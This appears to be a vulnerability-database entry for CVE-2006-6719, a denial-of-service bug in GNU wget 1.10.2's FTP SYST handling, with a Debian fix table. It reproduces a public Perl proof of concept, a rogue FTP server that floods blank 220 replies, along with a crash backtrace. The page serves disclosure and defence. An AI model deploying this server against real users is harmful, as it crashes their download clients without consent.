CVE-2006-6719
Description
The ftp_syst function in ftp-basic.c in Free Software Foundation (FSF) GNU wget 1.10.2 allows remote attackers to cause a denial of service (application crash) via a malicious FTP server with a large number of blank 220 responses to the SYST command.
Predictions
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
No mitigations published for this CVE yet.
The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or — if you've already worked around this in production — publish your fix to the community-verified tier.
✚ Propose a mitigation on Community → Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here withsource_tier=community-verified.
Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
wget 1.10.2 - Unchecked Boundary Condition Denial of Service
#!/usr/bin/perl
################################################################################
# wget <= 1.10.2 | Unchecked Boundary Condition
# Federico L. Bossi Bonin
#
# www.globalst.com.ar
# fbossi[at]globalst.com.ar
################################################################################
use strict;
use IO::Socket;
#Resolving localhost... 127.0.0.1
#Connecting to localhost|127.0.0.1|:21... connected.
#Logging in as anonymous ... Logged in!
#==> SYST ...
#Program received signal SIGSEGV, Segmentation fault.
#[Switching to Thread -1211496768 (LWP 22824)]
#0xb7d1c633 in strcasecmp () from /lib/tls/libc.so.6
#(gdb) backtrace
#0 0xb7d1c633 in strcasecmp () from /lib/tls/libc.so.6
#1 0x080542c5 in ftp_syst (csock=6, server_type=0xbfe3d854) at ftp-basic.c:1042
#2 0x0804fa6f in getftp (u=0x80800a0, len=0xbfe3d5d8, restval=0, con=0xbfe3d840) at ftp.c:367
#3 0x08051211 in ftp_loop_internal (u=0x80800a0, f=0x0, con=0xbfe3d840) at ftp.c:1197
#4 0x08051877 in ftp_get_listing (u=0x80800a0, con=0xbfe3d840, f=0xbfe3d7a8) at ftp.c:1341
#5 0x08051a83 in ftp_retrieve_glob (u=0x80800a0, con=0xbfe3d840, action=2) at ftp.c:1705
#6 0x08052910 in ftp_loop (u=0x80800a0, dt=0xbfe3d978, proxy=0x0) at ftp.c:1875
#7 0x08066cf8 in retrieve_url (origurl=0x8080070 "ftp://localhost", file=0xbfe3d970, newloc=0xbfe3d974, refurl=0x0,dt=0xbfe3d978) at retr.c:678
#8 0x08061bdc in main (argc=3, argv=0xbfe3da84) at main.c:943
#(gdb)
my $PORT=21;
$SIG{CHLD} = 'IGNORE';
my $listen = IO::Socket::INET->new(LocalPort => $PORT, Listen => 10,Proto => 'tcp',Reuse => 1);
die "Cant't bind port: $@" unless $listen;
print "wget PoC\nWainting conections\n";
while (my $connection = $listen->accept){
my $child;
while (my $connection = $listen->accept){
my $child;
die "Can't fork: $!" unless defined ($child = fork());
if ($child == 0){
$listen->close;
while() {
print $connection "220 \n";
}
exit 0;
}
else {
print "Connecton recieved ... ",$connection->peerhost,"\n";
$connection->close();
}
} #while
} #while
# milw0rm.com [2006-12-18]
OS impact
Debian Fixed 5 releases
| Version | Status | Fixed in |
|---|---|---|
| trixie | Fixed | 1.13-1 |
| sid | Fixed | 1.13-1 |
| forky | Fixed | 1.13-1 |
| bullseye | Fixed | 1.13-1 |
| bookworm | Fixed | 1.13-1 |
References
Community-verified mitigations for this CVE will appear above when contributors publish them.
Verify integrity in audit chain (admin only). AS-IS.